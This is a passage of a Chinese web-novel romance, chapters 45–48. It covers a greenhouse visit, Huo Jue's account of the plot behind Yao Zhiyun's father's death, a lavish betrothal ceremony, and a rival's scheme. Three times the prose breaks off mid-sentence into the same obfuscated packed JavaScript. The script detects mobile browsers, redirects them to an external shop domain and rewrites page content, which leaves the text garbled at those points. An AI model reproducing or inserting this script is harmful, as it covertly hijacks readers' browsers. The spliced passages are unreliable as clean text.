“这边的是冬瓜，等晚上摘一个给你烧冬瓜汤喝，”她指了指胡瓜后面那一垄，“那个是丝瓜，不过我不喜欢丝瓜，软塌塌的，不过有人喜欢，”她声音低了下去，母亲是很喜欢丝瓜的，每每都会烧上一盘，后来她便种了一垄，想她的时候，她便会烧上一盘，吃上两口。 霍抉扫过那些他叫不出名字的瓜果菜蔬，不知道该如何形容此刻的心情，她所说的“玩玩而已”竟是这样的？ 他一直都知道她聪明，有主见，却从未如此直观的感受到，她那份淡然之下藏着怎么样的一颗务实又坚韧的心。 “这些——，都是你一个人弄的？” 姚知韫拍了拍手上浮土，脸上闪过一丝赧然，“起初是胡乱的尝试，本是为了打发时间的，后来摸到些门道，便越弄越多。” 她说的轻描淡写，仿佛这是一件再平常不过的事情，可霍抉听出了她声音背后那一丝的骄傲，做到如此，她值得任何的骄傲。 霍抉缓缓走到她身边，目光流连于这片不可思议的绿洲，他声音低沉，近乎叹息，“韫儿，你总是——给我惊喜。” 姚知韫垂下眼睫，掩饰心绪的波动，也避开他过于直接的注视，指尖无意识的来回摩挲两下，伸出手指了指他手中那盆“地铃兰”。 “给我吧！我准备将它种在这里。” 霍抉顺着她的手指看过去，那里有一方空着的土地，泥土被精心翻松过，温润而蓬松，只有孤零零一株纤弱的植物，枝头坠着几颗鲜红欲滴，指尖大小的果子，在满棚绿意中显得格外醒目。 “那个叫番椒，”姚知韫蹲在那里，用一柄小巧的木铲熟练地松动那片土壤，一边与霍抉解释，“它的果实灼烈，用以佐味烹肴，别有风味，只是目前一株，等它结了籽，明年我就可以多种一些了。” 这一刻，霍抉无比清晰的意识到自己何其幸运。 45. 往事 这样的她，聪慧坚韧，将成为他的妻子，她能写出那样的诗词，做出那样的画作，能在这凛冽寒冬里种出春天，这样的她，值得世上最好的一切，值得他一生珍重，守护。 姚知韫并未察觉他心中奔涌的思绪，只是一边小心翼翼将地铃兰的苗从盆中取出，一边轻声絮语，“你看，现在它已经开过花了，花落之后便会结果，我们要将它整株带土的种下去，只要保持土壤的湿润，再添些腐熟的底肥，大概两个月光景，等到叶枯茎萎，便是收获之时，到时候我们再把这些收获的种子继续培育，一株变十株，十株变百畦，或许等到明年开春，我们就有足够多的种苗了。” 她将带着原土的地铃兰轻轻放入新挖的坑中，细致地覆上细土，动作轻柔得像安置一个婴儿。她说话的声音不高，却带着他描绘出一片朴素而辽阔的图景。 霍抉静静地听着。 看着她被泥土染黑的指尖，像无意间晕开的墨迹，却比任何丹蔻都更鲜活生动。她的话语轻轻柔柔地铺展开，字字句句里，都嵌着那再自然不过的两个字。 “我们”。 她说，“我们现下要做的……” 她说，“我们挖出来的……” 她说，“我们便能拥有……” 不是“我”，是“我们”。 她在潜意识里，将她与他，置于同一方土壤之上，期许同一个未来。 这认知如温润的春水，悄无声息地漫过他心间那道孤守的堤防。一泻千里，浩浩荡荡，自此他沉寂经年的世界，天光一碧，万顷澄澈，处处皆是春暖花开。 那颗原本只想守护她，唯愿她安然无恙的心，悄然地生了根须，扎下了更多心之所向的期许。 他想—— 她眼底的星火燎原是为他。 她心中谋划的万里丰年是为他。 她眼中闪烁的期待，心底涌着的欢欣，亦是为他。 姚知韫果然守诺，为霍抉炖了一盅冬瓜汤。 汤色清透如琥珀，几块莹润的冬瓜半浮半沉，间或点缀着绯红的火腿丝与碧绿的葱花，热气袅袅，甘甜鲜香，在冬日的寒意里格外诱人。 霍抉斜斜倚在厨房的门框上，静静地看着。 他本是进去搭把手的，却被她赶了出来，竟嫌弃他碍手碍脚，那表情不耐烦得很。 他心头有着被嫌弃的不快，这么多年来，还是第一次有人嫌弃他，他竟也没恼，就这么看着她。 灶膛里的火光明明灭灭，映亮了她素净的侧脸。她挽着袖子，露出细白的一截手腕，正用木勺轻轻搅动砂锅里的汤羹，神情专注，仿佛在料理什么了不得的东西。偶尔有蒸汽扑上来，她便微微侧首避开，几缕碎发沾了湿意，柔柔贴在颊边。 这景象与他惯常所处的世界截然不同，她周身那种沉静而安稳的气息。锅勺偶尔相碰，发出轻微的脆响，与柴火细碎的哔剥声交织在一起，竟谱出一曲令人心宁的韵律。 这一刻的烟火寻常，胜过他见过的所有繁华。 他自始至终嘴角的笑意都没压下来。他挑了挑眉，目光追随着她忙碌的身影，从未离开。 用过晚膳，碗碟未撤，烛火在案桌上轻轻跳动着。 两人隔着残余的饭菜，随意地聊着，起初只是些闲散的话题，渐渐说起了旧事。 他提起了母亲，说他母亲手很巧，能用最寻常的彩线绣出满园春色，还有他儿时生活的小院，墙角有一整排的红果树，夏日浓荫蔽日，秋日红果累累，说他喜欢看蚂蚁搬家，一看便是大半日。 他说的并不连贯，有时停下，望着烛火出神，有时想起了什么便补上一句，姚知韫就那么静静的听，也不插话，只偶尔为他续上温热的茶。 “那年，我八岁，林氏为了逼迫父亲接受小林氏，给我的吃食里下了药，只要我死了，父亲为了霍家的香火也会接受小林氏，这些事从我回到霍家，隔三岔五的便会上演一回，只有那一次我差点丢了性命，我等着父亲能为我讨回公道，可他最后选择了息事宁人，” “我寒了心，便一口气跑进了翠微山，那天的雨下得又急又冷，我踩了空滚下了山崖，万幸被崖壁斜出的一棵老树挂住，还未来得及庆幸，转头便看见那棵老树下竟有一个狼窝，一只刚生产的母狼和三只嗷嗷待哺的小狼崽，母狼以为我是侵入者，对我虎视眈眈，我一动不敢动，它也如此，两厢僵持不下，是你父亲救下了我，他将打来的猎物扔给小狼崽，趁着母狼松懈的时刻，将我救了下来。” “所以，你就与我父亲成了忘年之交？”说起自己的父亲，姚知韫插上一句。 “嗯，他那个时候还是个猎户，后来我便常常跑去他那里，他教我兵法，教我武艺，这样的生活我过了五年，后来他收到一封信，说是要出门一趟，那以后便再也没有回来，我也没有了他的消息，五年后，我收到了你父亲的一封信，说他已经成了家，还从了军，若是依旧没有地方可去，便到嘉兰投奔他。” “霍家家训虽然是是不得入仕，可霍家的子弟都是会考秀才，我也不例外，我十三岁参加了童试，有了秀才的身份，你父亲鼓励我去乡试，功名到手后，我终于向父亲提出想科考入仕，那是父亲第一次为我极力争取一件事，直到他死，霍家才同意我科考，条件是若我一次不中，便放弃科考，同时也放弃接管霍家。” “于是，我参加会试与殿试，一举夺魁，却听到了你父亲战死嘉兰的消息。” 说到这里，霍抉突然停了下来，久久没有说话。 “后来呢？”姚知韫望着他沉下来的脸色，小声追问。 后来，他的仕途烈火烹油，鲜花着锦，他入了翰林院，三年后破格擢升詹事府詹事，五年时间便官至户部侍郎，再两年因黄河水灾赈灾有功擢升户部尚书，前途坦荡，世人皆道他未来必定入阁拜相，位极人臣。 他一路青云，仿佛天命所归。 而她呢？ 被苏姨母算计嫁入英国公府，他担着“叔父”的名分，顾着霍家的名声，只能将对她满腔的情意深埋心底，他甚至可笑的以为对那个不成器的宋平多加照拂，便能换得宋平对她几分好，让她的日子不至于艰难。 他从未想过，他的自以为是也成了压在她身上的稻草，他的偏袒让宋平有恃无恐，他的沉默让英国公府上下更加肆无忌惮，他将她推入更深的深渊，却不自知。 直到她死。 才开始疯了一样的去查，才终于看清她在国公府里过的是怎么样的水深火热、度日如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269676|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的日子，因国公府宠妾灭妻，连嫁妆也被掠夺殆尽，甚至为了一己之私，将她送到了赵赫轩的榻上，事后为了掩人耳目还要杖毙她唯一的丫鬟小桃。 也是这件事彻底点燃了她骨子里最后的刚烈，不惜以命相搏，敲响了登闻鼓，将英国公府那些丑闻与自己的冤屈，一同曝光于天光之下，最终玉石俱废。 知道真相的那一刻，他开始了疯狂的报复。 他毒杀了赵赫轩，屠了国公府，然后心如死灰，死在她的身边。 再睁开眼，上天垂怜，他竟又回到了夺魁的那一刻。 一切都还来得及，他终于有了弥补的机会，终于有了拥有她的机会。 这一次，他不管不顾，势必要护住她，他弃文从武只是因为这样可以以最快的速度掌握权柄，他知道皇上有意收复梓州以北十三州，他要用这七年的时间，成为皇上唯一的选择。 姚知韫的目光在霍抉冷峻的脸上停留了片刻，那紧绷的下颌，抿紧的薄唇，还有眼底驱散不去的阴霾，以及掺杂了悔恨和一闪而过的暴戾。 想来父亲的死对他打击很大。 “所以，为了我父亲，你弃文从武去了嘉兰关？” 霍抉闻言，眸光微动，将眼底那些情绪尽数敛尽，他没有承认也没有否认，只是扯开了一个有些无奈的笑，他总不能说是为了她？ “那我父亲的死到底有何蹊跷？” “你父亲的性子，我最清楚。他用兵以“稳”著称，深谙“守正出奇”之道，绝非冒进之人。那一战，羌人逼至葬灵谷。此谷地势之险，是嘉兰关前名副其实的“鬼门关”。只要据险而守，纵使羌人有数万兵马，也难越雷池半步。。” “可那日葬灵谷守将万峰却发来一道十万火急的军报。说羌人攀越侧翼山崖，意图内外夹击。谷口防线岌岌可危，一旦被破，天险尽失，羌人铁骑将直扑嘉兰关。军情如火，你父亲身为关城主帅，接此急报，于公于私都不得不驰援。他亲率精锐驰援，最后身中埋伏，全军覆没。” “而那个最先接敌的万峰不仅毫发无伤，更因临危不乱最终击退羌人，顺理成章地接替了你父亲的位置，成了嘉兰关新的守将。一道急报，葬送了一位主帅，成就了另一个人的青云之路。” 说到这里，姚知韫还有什么不明白的，怕是那个万峰有了动作，她的心底冒着寒意，“那你查到什么？” “当你父亲赶到时，万峰手上的三万兵已经死伤过半，万峰失踪，群龙无首，形势确实危急，可在即将扭转的战局中，羌人突然增兵十万，将你父亲困在葬灵谷，那些兵哪里来的？又埋伏在什么地方？我在嘉兰七年，寻访了当年之人，拿到了万峰曾经与羌人接触过的证据，可还差些，等证据确凿，我定然不会放过万峰。” 姚知韫不知道该如何形容此刻的心境。 父亲于她而言，她并不亲近，甚至谈不上血脉相连，毕竟她不是真正的姚知韫，那个四岁的小女孩是在池边嬉闹时，不慎落水殒命，迎来了她的灵魂。 那短短三年的时间她只见过他两次，可那短暂的相处，无法弥补长时间分离带来的陌生，每次他回来，她总是远远看着那道风尘仆仆却挺拔如松的背影，心中有敬仰，有孺慕，却并不亲近。 46. 回忆 他们之间，隔着血脉亲情，隔着千山万水，还有无数个不见面的日夜。 可如今，听着霍抉平静地讲述父亲的故事，她的心口还是被什么东西狠狠地攥住了，闷闷地发疼。 将战死沙场，马革裹尸，那是归宿，是勋章，虽痛犹荣。 可被人算计，陷在肮脏的境遇中，那时对他们来说便是悲凉与屈辱。 “那个万峰……”姚知韫问道，父亲的死，哪个万峰是关键？ “他与你父亲一样，都是从军功起家的，嘉兰之战后从一个区守备一举擢升为参将，后来娶了端阳侯陌家的一位庶女，借着这份姻亲助力调回京师，如今任职职方司郎中，马上就会升任兵部侍郎。” 说到此处，霍抉的眼底深处掠过一丝极冷又极锋利的暗芒，他心中早有计较，那个位置，他不会允许万峰坐上去。 犯错的人，总是要付出代价的。 话题过于沉重，压得姚知韫心口沉甸甸的，仿佛浸了水的棉絮，她沉默地别开脸，将目光投向窗外。 窗外漆黑一片，连一弯月都没有，浓稠的夜色沉沉地覆盖着天地，与她此刻的心境一般无二，令人窒息。 她缓缓站起身，低声地说了一句：“不早了，早点休息吧！”说罢，便欲转身离开。 霍抉一把拉住她的手腕，他仰着头看着她，烛火在他深邃的眼中跳动，里面的情绪复杂难辨，沉郁、痛楚抑或还有恳切的执着。 “韫儿，相信我，好吗？”他的声音更低更沉。 姚知韫脚步微顿，没有回头，也没有挣脱，她微微垂眸，良久，久到霍抉几乎以为她不会再给任何回应，心也跟着一点点沉下去。 他能理解她现在的情绪，任谁听到父亲是被人谋害而死，心情怎么能好？ 她极轻地回了一句：“好。” 霍抉握着她手腕的手，倏然收紧，又缓缓松开，唇角扯出一抹苦涩的弧度，眼底却闪过一丝微弱却坚定的光。 姚知韫回到自己的房中，房门在身后轻轻合拢。 她没有点灯，径直走到窗边那张柔软的吊椅旁，像一只归巢的倦鸟，将自己蜷缩了进去，双臂环抱住膝盖，下巴轻轻抵在膝头，这是她从小到大的习惯，以前，爸妈加班晚归，空荡荡的家里只剩下她一个人时，她就是这样蜷在阳台的吊椅里，静静地等，黑暗和被包裹的感觉，能驱散所有的孤单与不安。 她七岁被诊出白血病，为了给她治病，爸妈每天都要做很多工作，后来终于做了手术，好似生活回到了正轨，只是幸福的日子没过多久，她旧病复发，一病又是很多年，爸爸终于坚持不住离开了家，妈妈也每夜躲起来哭，那个吊椅便成了她最温暖的港湾。 夜色如墨，浸染了庭院，没有星月，只有无边无际的暗。吊椅微微晃着，她将脸微微侧向窗外，目光没有焦点，她努力回忆着和父母相处的点滴。 印象中，父亲的身影总是挺拔而严肃的，像冬日里的松，即便是关心她，也总是端着一副严肃的模样，她记得曾经那双大手覆上她滚烫额头的微凉，分明说着关心的话，语气却是硬邦邦的，和她前世那个总是温柔地不肯斥责他一句的爸爸，大相径庭。 再多的便没有了，她甚至很少与他讲话，见到他也总是淡淡的模样。 母亲轮廓，在记忆中更清晰一些。 她记得母亲身上有着好闻的味道，淡淡的，但她说不出是什么味道，后来她一直很执着于找到那个味道，却始终未果，还有母亲说话声音总是温婉，但目光又总是飘忽的，大多的时候会越过她，望向远方。 四岁的孩子可能不懂，但她十九岁了，所以她懂得母亲眼中空茫的寂寥，那是一种思念，对父亲的思念，她想着，他们应是极相爱的，她还曾经想过，若是没有她，母亲是否会不顾一切地奔向父亲？ 可母亲对她却又格外地严厉，严厉地督促她读书习字，琴棋书画更是要求严苛，稍有不慎便是严厉的惩罚，或者更严苛地反复练习，她们常常因为这样的事情相持不下。 于她而言，若是喜欢便肯下苦功，学得飞快，若是不喜，那便会拼了命抗拒。 比如女红，她厌恶极了细密又重复的针脚，总是弄不明白那些线头绕来绕去的意义，为此，母亲没少用戒尺责打她的手心，没少用失望而疲惫的眼神望着她。掌心火辣辣地疼，心里却是更倔强的反骨。她哭过，闹过，却从未真正妥协。 那三年，她终于一点点磨去了心房，试着接纳这一世的父母，想要和他们好好相处，做个真正的孩子。 可却传来父亲的死讯，母亲不多久也跟着去了。 葬礼便是霍抉帮着办的，她只是机械地按照霍抉的指示做着这样那样的事情，她当时并没有撕心裂肺的悲伤，更多的是种空茫的钝痛，大概她真的是没什么父母缘的人，两世为人，都求不得一份长久寻常的亲情。 后来常来的苏姨母常常说她命硬，小小年纪便克死了父母。 她也算生在新社会，长在红旗下的一代新青年，受的是唯物主义的教育，自然不会相信这些无稽之谈。 可她来到这里，本就不是一件科学的事情，不都说科学的尽头是玄学吗？或许，她命定就是如此，所以无论轮回几次，终究是孑然一身。 此后，她便将自己关在姚府这座华丽的牢笼里，她并非不知道有多少人算计她，只是不在意罢了，能用钱解决的事情，都不算事。母亲留给她最多的不就是钱吗？ 深知岁月漫长，她反倒对从前那些拼命抗拒的东西，生出了别样的耐心，母亲生前那些唠叨的话，反反复复地在脑海里回响。 她开始学起了女红，一针一线，以一种修行的沉潜，渐渐地也摸出些门道。 如今，她的女红虽称不上精湛，但至少是能体体面面拿出手的东西了。 这七年，霍抉始终不近不远地在她身边。 他人虽然去了嘉兰，可每个月都会送东西回来。起初是些首饰布匹；不知道从何时起，送来的东西变了样，都是她随口提过的一些珍稀花种，还有奇特植株，仿佛隔着千山万水，他精准捕捉她细微的喜好变化。 后来更多的时候，她开始有了期待。有时候东西会慢上些时日，她便有些心不在焉。 这种若有若无的联系，让她感到一种奇异的安心，相隔千里，不必直面，不必深究，也不需要思考这源源不断的关切背后，到底是父亲嘱托，还是他自己的心思，她安心地享受这份依赖，又不必背负回应的压力。 可他，回来了。 以一种近乎蛮横的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277747|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式，骤然闯入她早已习惯沉寂的生活，像一块巨石投入深潭，击碎她小心维持的假象，不容分说地将她重新拉入红尘俗世中。 她冰冷了许久的心，就被这么强势地搅动，竟也隐隐生出一丝久违的属于活人的温热与斗志。 所以，他提成了婚，她也只是略作思考便同意了。 有一个三年的约定。 上一个三年，她未能抓住与父母相处的时光，在这三年里，她想要好好地把握那份属于加任的温暖，可她不能贪恋一辈子，他有自己的生活，就算是为了父亲的嘱托，三年也足够了，三年后，她放他自由，她也自由了。 冻月栖寒枝，天地一痕清，那弯冷月发着冰片似的光，仿佛多看一会便会生出寒意来。 姚知韫倚在吊椅上，望着那弯月牙，一段早已尘封的旋律毫无预兆地浮了上来。 小时候，很久很久以前，妈妈抱着她，在夏夜的阳台上，一遍遍地哼唱。 她嘴唇微启，几乎是无意识地梦呓般跟着哼唱起来。 “弯弯的月儿小小的船，小小的船儿两头尖，我在小小的船里坐，只看见闪闪的星星蓝蓝的天。” 夜色已深，院中那棵桂花树在冬日寒风里摇曳，稀薄的月光，将它的影子拉得细长，如同水墨在地上晕开的寂寥笔触。 霍抉隐在这片浓厚的阴影里，玄色的氅衣与夜色融为一体，他背上的伤口隐隐作痛，可他依旧舍不得离开；只是专注地凝望着不远处那扇窗。 那里，是一片静谧的黑暗。 她睡了吧，睡得安稳吗？知晓了父亲的死因，她该如何是好？ 他懊悔自己的急切，不该和她说那些的。 担忧最后演变成无声的心痛，缠绕着他的心脏，怕她沉浸在悲伤里，更怕今日种种，会让她退缩，他习惯了明枪暗箭，可她却只想好好活着。 心底的灼热与爱恋更加汹涌地翻腾着，他想上前叩门，想拥她入怀；可那扇门、那扇窗似乎将他们隔开两个世界，她不出来，他进不去。 他像个守着珍宝的困兽，在进退之间徘徊，他只是想离她近一些，再近一些，最后他只能选择沉默地站立在这里。 就在万籁俱寂、连风声都仿佛停歇的某一刻。 一缕极轻、缥缈的哼唱声，飘了过来； “弯弯的月儿，小小的船。” 霍抉呼吸一窒，那调子是他从未听过的，有着稚气的柔软，与她平日里清越或沉静的嗓音都不同。 他静静地听；紧蹙的眉心不知不觉中缓缓舒展开来，胸腔里那股躁动不安的灼热，被一点点地抚平。 不知道过了多久，也不知道唱了多少遍，直到窗外重归寂静。 霍抉依旧站在原地，身形挺拔如松，月光悄然偏移；将他从桂树的阴影中慢慢勾勒出来，镀上了一层清寂的银边。 从弦月西斜，到东方既白。 他就那样静静地站了一个晚上。 寒露浸湿了他的肩头，背上的伤口刺刺地疼；他却浑然未觉，直到姚知韫房内的窗纸被第一缕晨光染上温暖的淡金色，他才轻轻地动了一下僵直的指尖。 他最后望了一眼那扇依然紧闭的窗，转身离开，悄无声息。 他准备的那些东西；应该到了。 47. 下聘 冬日的阳光难得冲破云层，将一捧清冽却毫无暖意的光辉，泼洒在姚府门前的长街上。 整条街早已被一种屏息般的喧嚣填满。左邻右舍探出无数张掩不住惊异的脸，交头接耳的私语汇成一片，与车马、脚步混在一起，沸了这素日清静的街巷。 一眼望不到头的队伍，还有望不到头的喜庆红色。一抬，又一抬。 箱笼是清一色的紫檀木，边缘包着暗金色的铜角，都仿佛装着山岩，沉甸甸的，箱柄上披红挂彩，与箱体历经岁月的幽暗光泽交相辉映。 打头第一抬覆盖的红绸被小心地揭开，一柄通体莹润、毫无瑕疵的白玉如意，静静地卧在墨绿丝绒之上，在稀薄的冬日阳光下，流转着内敛却不容忽视的温润光华。那是霍抉亲向御前求得的恩赏。 其后，源源不断。 聘雁、四蹄牲畜、粮食作物、绫罗绸缎、古籍珍玩……百余抬箱笼，流水般地涌入那扇敞开的朱门。不过盏茶工夫，姚府原本开阔的前院，已被这沉默而庞大的阵列填得满满当当，几乎没有缝隙。 正当众人目眩于满院锦绣时，府门处的光线仿佛被水洗过一般，陡然清明了几分，霍抉难道地身着一身象牙白的锦袍，不疾不徐地从门外缓缓而至，宽大的衣袖随着步履轻摆，恍若拢住了满袖清风，天风从他身后照下来，将他挺拔的身形勾勒出一圈毛茸茸的光晕，衣襟上那些纤毫毕现的竹叶暗绣，都仿佛活了过来，簌簌欲响，周遭的喧闹人声，炫目色彩，在这一时刻，忽然都淡了，天地间仿佛只剩下这道披光而行，温润却又极具侵略感的身影。 常嬷嬷早已经得到消息，将前厅内外打理得井井有条，一丝不乱，这是姚知韫的聘礼，她作为未出阁的姑娘，自然不能露面于前院，一切仪程，便全交由常嬷嬷代劳。 他缓步立在院子中央，抬眼望向前方厅堂，神情倏然肃穆，缓缓上前三步，撩袍，单膝点地。这是军中对尊长与亡者的最高礼仪。 “在下霍抉，今日奉旨行聘，迎娶贵府千金。姚将军、夫人，英灵在上，霍抉此心可鉴，此诺必践。若他日负了韫儿，天人共诛。” 他的声音沉肃、沉稳有力，穿透了院墙、厅堂、人群，向更远的地方蔓延。 说完，霍抉起身，转向右侧肃立的常嬷嬷，拱手行一标准的平礼。 常嬷嬷虽为仆妇，此刻却代表姚府尊长，她侧身半避，福身还礼，姿态恭谨，语气不卑不亢，“老奴自是不敢受侯爷全礼，然老奴侍奉姑娘，今日蒙侯爷厚聘，今日便托大，谨代先主与主母受此礼，望侯爷谨记今日之誓，白首不移。” 霍抉面上挂着敬重的笑意，略一抬手，身后的青木便奉上紫檀木托盘，霍抉双手接过，平举至常嬷嬷面前。 “此乃聘书，霍某已亲笔具名，加盖丝印与侯府印信，呈宫中备案，以为凭证。此金，八十一柄，取九九之数，乃霍某七年间以战功所得，陛下特赏，每一挺，皆记霍某之名。” 他抬眼直视常嬷嬷，“霍某此生身许家国，别无长物，唯此功业所凝之金，此心此诺所系之人，今日以此相聘，请嬷嬷——代收。” 常嬷嬷静静地听完，神色未动，只缓缓地点头，福身回礼。 “聘书为凭，老奴代先主与主母收下，婚约如山，不可转移，老奴虽为仆妇，亦知此礼之重，重于千钧。老奴必将原封、原话，呈于姑娘面前。至此，聘礼姚家已受，余者，不过锦上添花。” 常嬷嬷捧着托盘，步履沉稳地退至一旁。 霍抉又自青木手中取过礼单，亲自递上，常嬷嬷展开，与风叔逐项清点核验，满院箱笼沉默，日光在其间流动，时间仿佛被拉长。 聘礼中的件件物事，皆是顶好的成色。单是发簪便有三十六根，金玉珠翠，各具风华；成套的头面亦有三十六副，从翟冠、挑心、分心到鬓钗、耳坠，无不齐全、精工。这般手笔，足见霍抉是用了十足的心思。 寻常人家下聘，往往重个场面，外头的箱笼瞧着热闹，内里却不免有些充数之物。可霍抉送来的这些，却是从里到外，实实在在，无一敷衍——料子是实打实的珍稀，衣衫做工是看得见的精湛，就连那压箱的金银，也都是足色足两，沉沉地坠着手。霍抉是将这些年来攒下的所有，全数捧到她眼前来。 常嬷嬷与风叔，足足核验了一个时辰，才堪堪核验完成，阖上礼单，才与聘书收归一处，退至一旁。 霍抉又开口补充，“今日之礼单，嬷嬷所见诸物皆出自霍某私产。此中关隘，望嬷嬷知悉，并务必转达姑娘。” 常嬷嬷这样的人，自然知道他的用意，这些钱都是他本人的私产，与陈珺霍家无涉。 “侯爷一身承担未来一切风雨之诺，姑娘一生荣辱尊卑，将系于将军一身功业起伏、圣眷浓淡。老奴自是清明，必会禀告姑娘。姚家虽孤，风骨犹存，老奴代先主，收下了。” 霍抉的聘礼极其诚心，更不会因是御赐的姻缘，便省去该有的礼数。相反，因为珍重，才更不愿在这关乎姚知韫终身大事上有半分轻忽与亏欠。 于是，他再次郑重行礼，“嬷嬷，虽是圣上金口赐婚，但该有的礼数，霍某一样也不会少，更不能委屈了韫儿。霍某京中并无长辈主事，韫儿亦无高堂，许多事，少不得要烦劳嬷嬷指点操持。” 他从袖中取出早已备好的、绘有鸾凤和鸣纹样的庚帖，双手递至常嬷嬷面前，帖子是特制的洒金红笺，厚重雅致。 “今日，想向嬷嬷正式讨取姑娘八字，我已禀明圣上，将亲至永安寺，请了缘大师亲自为我与韫儿合八字，择吉期。” 此言一出，连见多识广的常嬷嬷，眼底也掠过一丝动容。 永安寺了缘大师，乃是当今圣上都敬重的高僧，德高望重，精通天文历法，常为皇室宗亲勘定大事。寻常公侯之家，能请动寺中普通高僧已属不易。霍抉此举，给足了姚知韫和姚家无上的尊荣与郑重。 常嬷嬷双手接过那沉甸甸的庚帖，“侯爷思虑周全，如此珍重，是先主与姑娘之福。”说着，便从袖中取出姚知韫的庚帖，同样是洒金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282449|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红笺，只是纹样却是清雅的兰草缠枝。“此乃姑娘庚帖，还望将军珍之，姚府亦盼佳期早定。” “霍某明白，”霍抉回道，庭院中阳光明亮，他双手郑重地接过那封代表姚知韫的庚帖，两帖并排放在他掌心，一鸾凤，一兰草，红得灼眼，他只定定地看着，看着看着唇角勾起了极淡的弧度。 “多谢嬷嬷，”他将庚帖仔细地收入怀中，贴身收好。“待大师定下吉期，霍某再来禀告，府中一应筹备，若有需霍抉之处，万勿客气。” 常嬷嬷福身，“侯爷放心，老奴省得些事体。” 霍抉不再多留，拱手告辞，转身时冬日的阳光落满他的肩头，那身影挺直如松，步伐稳健地穿过庭院，一步步向着府门之外走去。 常嬷嬷与风叔，亦步亦趋跟在身后，送至门外，风叔目送着霍抉远去的背影，回头又望向内院深处，轻轻叹了一口气，那叹息里却含着一丝难以言喻的慰藉。 满院寂静，却仿佛春朝，姑娘以后终于有了依靠。将军与夫人在天有灵，也可瞑目了。 英国公府，颐心堂内。 “砰——砰——” 瓷器碎裂的声音此起彼伏，即便有厚重的锦帘隔绝，也掩不住那噼里啪啦的声音。都是上好的官窑青瓷被狠狠掼在地上，碎片与滚烫的茶汤四溅开来，洇湿了昂贵的地毯，侍立的丫鬟碧清，与孙氏贴身侍候的杨嬷嬷，均齐齐地垂下了头，恨不得缩进地缝里去。 孙氏端坐在紫檀木嵌螺钿的罗汉床上，胸口剧烈地起伏，那张保养得宜的脸上再也没了半分平日的端庄，手中那串佛珠几乎要被捏碎了。 “好，好一个霍抉，不过是一介武夫，得了些军功，封了个爵位，就这般目中无人，耀武扬威！” 她的声音尖厉刺耳，像指甲刮过琉璃。 杨嬷嬷小心翼翼地上前半步，“听说——是侯爷亲自去下聘，还在院中行了单膝礼，聘金八十一锭，礼单是一百二十抬。” “哼！”孙氏冷哼一声，“他这是做给谁看？他一回京便住进了姚府，指不定两人私相授受，早就有了首位，不然也不会还未及笄便要下聘。” 她的话说得极其恶毒，可她如何能不恨呢？ 当初姚知韫父母双亡，留下偌大家产和一个孤女，她便动了心思。她嫡出的儿子宋平虽袭了世子之位，但才干平庸，国公府看着花团锦簇，内里却有些虚虚的。若能娶了姚知韫，那泼天的嫁妆便能填了窟窿，还能与已故的姚将军留下的人脉隐隐牵上关联。她百般算计，对那苏姨母百般讨好，世人皆知，眼看着木已成舟了…… 偏偏，偏偏半路杀出来个霍抉。 不仅凭空夺了她的算计，还将一个小小的六品官的女儿塞给了她的平儿，更是惹得国公爷厌弃，给那李氏让了台阶，如今的国公府更是李氏的天下了。 她向昌平伯府求救，更是遭了嫌弃，她那个好兄长惧怕霍抉权势，竟是连面都不肯露了，嫂嫂出面便打发了她，没了娘家的仪仗，国公爷更是不将她放在眼里。 48. 海棠 孙氏倏然站起身，眼底闪着阴鸷与狠毒，嘴角扯出一个森冷的弧度。 “不能就这么算了，他霍抉不是要娶妻吗？这京城中，有多少人是想看热闹的，又有多少人眼热。” 杨嬷嬷心下一惊，“夫人的意思——？” 她转过身，望向窗外，语气里的恨意就要溢出屏幕。 “立刻派人去请官媒，要最好的！放出风去，我国公府世子，也要议亲了！” “夫人，那冯家——？”那日宴会之上，冯嘉与宋平可是有了肌肤之亲，在场众人皆为见证。 “平儿大婚当日，抬进来就是了，一个六品官的女儿，又没了名声，还想如何？”孙氏说得咬牙切齿，似乎牙龈都要咬碎了。 心中有了主意，孙氏缓缓地坐回罗汉床上，指尖无意识地捻着手中的佛珠，眼底的阴鸷更深，怒到极致反倒低低地笑了起来，那笑声在寂静的堂内显得阴森森的。 她就不信，霍家好歹是百年的清贵世家，虽说落败了，可越是这样的人家，便越是注重那些祖宗传下来的狗屁规矩，霍抉可是长房长子，在祖宗礼法面前，他的爵位、功业、钱财、产业可都不是他一个人的，霍抉如此行事，可有问过族中长辈？ 在大晋朝，一个“孝”字便能让霍抉万劫不复，他收受这么多的聘礼，霍家若是知道了，岂能乐意？ “去查查，霍抉这般张扬，他那远在陈珺的霍家本宗，知不知道？乐不乐意？找机会，给那边递个话。” 接下来京城风云涌动，姚知韫并无所觉。 